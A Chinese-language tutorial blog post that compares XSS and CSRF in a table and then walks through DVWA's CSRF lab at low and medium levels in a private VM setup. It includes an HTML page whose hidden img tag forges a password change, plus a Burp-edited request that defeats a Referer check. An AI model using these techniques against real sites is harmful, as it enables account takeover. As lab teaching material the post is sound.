CSRF 和 XSS 的區別
下面用表格清晰對比兩者的核心差異:
| 對比維度 | XSS (Cross-Site Scripting) 跨站腳本攻擊 | CSRF (Cross-Site Request Forgery) 跨站請求偽造 |
|---|---|---|
| 中文全稱 | 跨站腳本攻擊 | 跨站請求偽造 |
| 本質 | 代碼注入:惡意腳本被注入到目標網站並在受害者瀏覽器執行 | 利用身份冒充:冒用受害者的身份向目標網站發送請求 |
| 攻擊是否需要用户登錄 | 不一定(反射型/存儲型/DOM型都可能無需登錄) | 必須:攻擊前提是受害者已在目標網站登錄(有有效Cookie/Session) |
| 攻擊載體 | 通常是網頁內容(評論、文章、暱稱、URL參數等) | 通常是惡意構造的鏈接、表單、img標籤、fetch/XHR等 |
| 是否能竊取Cookie | 能(document.cookie 可被直接讀取) | 不能直接讀取(但可以利用Cookie自動發送做破壞性操作) |
| 是否能讀取頁面內容 | 能(完全控制DOM,可讀取、修改任意內容) | 不能(只能發起請求,無法讀取響應) |
| 是否能鍵盤記錄 | 能 | 不能 |
| 典型危害 | 竊取Cookie、Session、Token、鍵盤記錄、釣魚、頁面篡改、挖礦、傳播蠕蟲 | 修改密碼、轉賬、發帖、刪除數據、關注、點贊等狀態改變操作 |
| 危害嚴重程度 | 通常更嚴重(權限更大、控制力更強) | 相對有限(只能做登錄用户能做的操作) |
| 根本成因 | 輸出沒有做轉義/過濾 | 接口沒有做CSRF防護(僅依賴Cookie身份驗證) |
| 典型防禦手段 | 1. 嚴格轉義輸出(HTML/JS/屬性/URL等上下文)
2. CSP 3. HttpOnly Cookie 4. 輸入驗證白名單 |
1. CSRF Token(最主流)
2. SameSite=Strict/Lax Cookie 3. 雙重驗證(密碼/短信) 4. 檢查 Referer/Origin(輔助) |
| 一句話總結 | 攻擊者讓你的瀏覽器執行他的JS代碼 | 攻擊者讓你的瀏覽器替他向網站發請求 |
形象比喻
- XSS:黑客在你常去的論壇發了一條帶病毒的評論,你一瀏覽,病毒(JS)就在你的瀏覽器裏運行了,黑客相當於“住在你瀏覽器裏”。
- CSRF:你正在網銀登錄狀態,黑客發給你一個色情鏈接,你一點擊,你的瀏覽器就悄悄幫黑客向網銀髮了轉賬請求,黑客相當於“借你的手去幹壞事”。
記住這兩句話就基本不會混淆:
- XSS = 惡意腳本被執行 → 能偷能改能看
- CSRF = 惡意請求被髮送 → 只能做不能看
靶場測試(DVWA)
1.low難度
先如圖輸入修改的密碼:1234 (原密碼:password)
測試密碼是否真的已經修改:點擊上面的Test Credentials,如下圖所示
發現密碼確實已經修改為1234
發現url如下:
http://192.168.103.130:8090/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
隨便構造一個html的頁面,代碼如下,命名為csrf.html:
<!DOCTYPE html>
<html>
<head>
<title> CSRF html </title>
</head>
<body>
<img src="http://192.168.103.130:8090/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#">
</body>
</html>
在本地起一個http服務:
python3 -m http.server 8888
瀏覽器訪問:http://127.0.0.1:8888/csrf.html
然後再次點擊上面的Test Credentials
顯示如下:密碼修改成功
2.medium難度
從源碼裏面很容易看出來:這是在檢查Referer裏面是否包含域名
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
因此在low的基礎上,通過Burp Suite抓包,修改Referer的值。原本Referer: http://127.0.0.1:8888/
GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change HTTP/1.1
Host: 192.168.103.130:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.103.130:8090/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
Connection: keep-alive
Cookie: security=medium; PHPSESSID=029b7d9d696fd2ad862d78a83f8ee294
Priority: u=5, i
然後再次點擊上面的Test Credentials
顯示如下:密碼修改成功
硬件及軟件説明:
I.硬件(電腦)
Apple Mac mini M4 (24G)
II.軟件(vmware虛擬機)
ubuntu作為靶機- IP:
192.168.103.130 - arm64
- Ubuntu 24.04.3 LTS
- IP:
kali作為攻擊機- IP:
192.168.103.128 - arm64
- Kali GNU/Linux Rolling
- 瀏覽器:Firefox
- IP:
ubuntu中安裝docker靶場:kaakaww/dvwa-docker:latest
# 拉取docker鏡像
sudo docker pull kaakaww/dvwa-docker
# 為鏡像創建容器,並運行
## DVWA 端口設為 8090
sudo docker run -dt --name dvwa -p 8090:80 kaakaww/dvwa-docker
📌 不一定對,如有錯誤,歡迎指出🙂。